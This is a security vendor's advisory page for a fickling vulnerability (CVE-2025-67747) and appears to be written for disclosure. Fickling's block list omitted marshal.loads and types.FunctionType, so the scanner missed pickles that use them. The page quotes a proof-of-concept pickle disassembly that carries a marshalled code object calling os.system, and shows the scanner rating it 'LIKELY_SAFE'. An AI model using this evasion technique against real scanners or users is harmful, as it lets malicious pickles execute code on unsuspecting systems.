How severe is GHSA-565g-hwwr-4pp3?

No CVSS score has been assigned to GHSA-565g-hwwr-4pp3 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-565g-hwwr-4pp3?

GHSA-565g-hwwr-4pp3 affects the following packages: fickling (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-565g-hwwr-4pp3?

Update fickling to 0.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-565g-hwwr-4pp3 is resolved across your whole dependency graph.

How do I detect GHSA-565g-hwwr-4pp3 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-565g-hwwr-4pp3 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-565g-hwwr-4pp3?

O3 pinpoints whether GHSA-565g-hwwr-4pp3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-565g-hwwr-4pp3 actively exploited in the wild?

No public exploit code has been indexed for GHSA-565g-hwwr-4pp3 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-565g-hwwr-4pp3?

GHSA-565g-hwwr-4pp3 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 14th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-565g-hwwr-4pp3?

GHSA-565g-hwwr-4pp3 is classified as CWE-184 (CWE-184), Deserialization of Untrusted Data (CWE-502). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-565g-hwwr-4pp3 published, and has it been updated?

GHSA-565g-hwwr-4pp3 was published on December 15, 2025 and was last updated on December 20, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-565g-hwwr-4pp3

Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list

Also known asCVE-2025-67747

Published

Dec 15, 2025

Updated

Dec 20, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk14th percentile+0.19%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍fickling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.

Original report

Summary

There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.

Details

Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.

PoC

The following is a disassembled view of a malicious pickle file that uses these modules:

    0: \x80 PROTO      4
    2: \x95 FRAME      0
   11: \x8c SHORT_BINUNICODE 'marshal'
   20: \x8c SHORT_BINUNICODE 'loads'
   27: \x93 STACK_GLOBAL
   28: \x94 MEMOIZE    (as 0)
   29: h    BINGET     0
   31: C    SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
  198: \x85 TUPLE1
  199: R    REDUCE
  200: \x94 MEMOIZE    (as 1)
  201: \x8c SHORT_BINUNICODE 'types'
  208: \x8c SHORT_BINUNICODE 'FunctionType'
  222: \x93 STACK_GLOBAL
  223: \x94 MEMOIZE    (as 2)
  224: h    BINGET     2
  226: h    BINGET     1
  228: }    EMPTY_DICT
  229: \x86 TUPLE2
  230: R    REDUCE
  231: \x94 MEMOIZE    (as 3)
  232: h    BINGET     3
  234: )    EMPTY_TUPLE
  235: R    REDUCE
  236: \x94 MEMOIZE    (as 4)
  237: \x8c SHORT_BINUNICODE 'gottem'
  245: b    BUILD
  246: .    STOP

When analyzing this modified file, safety_result.json shows:

{
    "severity": "LIKELY_SAFE",
    "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
    "detailed_results": {}
}

Furthermore, when we run fickling -s <path_to_malicious_file>, we also encounter this error:

Traceback (most recent call last):
  File "<path>/fickling", line 7, in <module>
    sys.exit(main())
             ^^^^^^
  File "<path>/fickling/cli.py", line 163, in main
    safety_results = check_safety(pickled, json_output_path=json_output_path)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 408, in check_safety
    results = analyzer.analyze(pickled)
              ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 65, in analyze
    context.analyze(a)
  File "<path>/fickling/analysis.py", line 31, in analyze
    results = list(analysis.analyze(self))
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 196, in analyze
    for node in context.pickled.non_standard_imports():
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 826, in non_standard_imports
    for node in self.properties.imports:
                ^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 777, in properties
    self._properties.visit(self.ast)
                           ^^^^^^^^
  File "<path>/fickling/fickle.py", line 833, in ast
    self._ast = Interpreter.interpret(self)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 1001, in interpret
    return Interpreter(pickled).to_ast()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 927, in to_ast
    self.run()
  File "<path>/fickling/fickle.py", line 971, in run
    self.step()
  File "<path>/fickling/fickle.py", line 989, in step
    opcode.run(self)
  File "<path>/fickling/fickle.py", line 1767, in run
    raise ValueError("Exhausted the stack while searching for a MarkObject!")
ValueError: Exhausted the stack while searching for a MarkObject!

Impact

This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`fickling`	all versions	0.1.6

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fickling to 0.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-565g-hwwr-4pp3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-565g-hwwr-4pp3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-565g-hwwr-4pp3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Fickling Assessment Based on the test case provided in the original report below, this bypass was caused by `marshal` and `types` missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately. ## Original report ### Summary There's missing detection for the python modules, `marshal.loads` and `types.FunctionType` and Fickling throws unhandled ValueErrors when the stack is deliberately ex

O3 Security · Impact-Aware SCA

Is GHSA-565g-hwwr-4pp3 in your dependencies?

O3 detects GHSA-565g-hwwr-4pp3 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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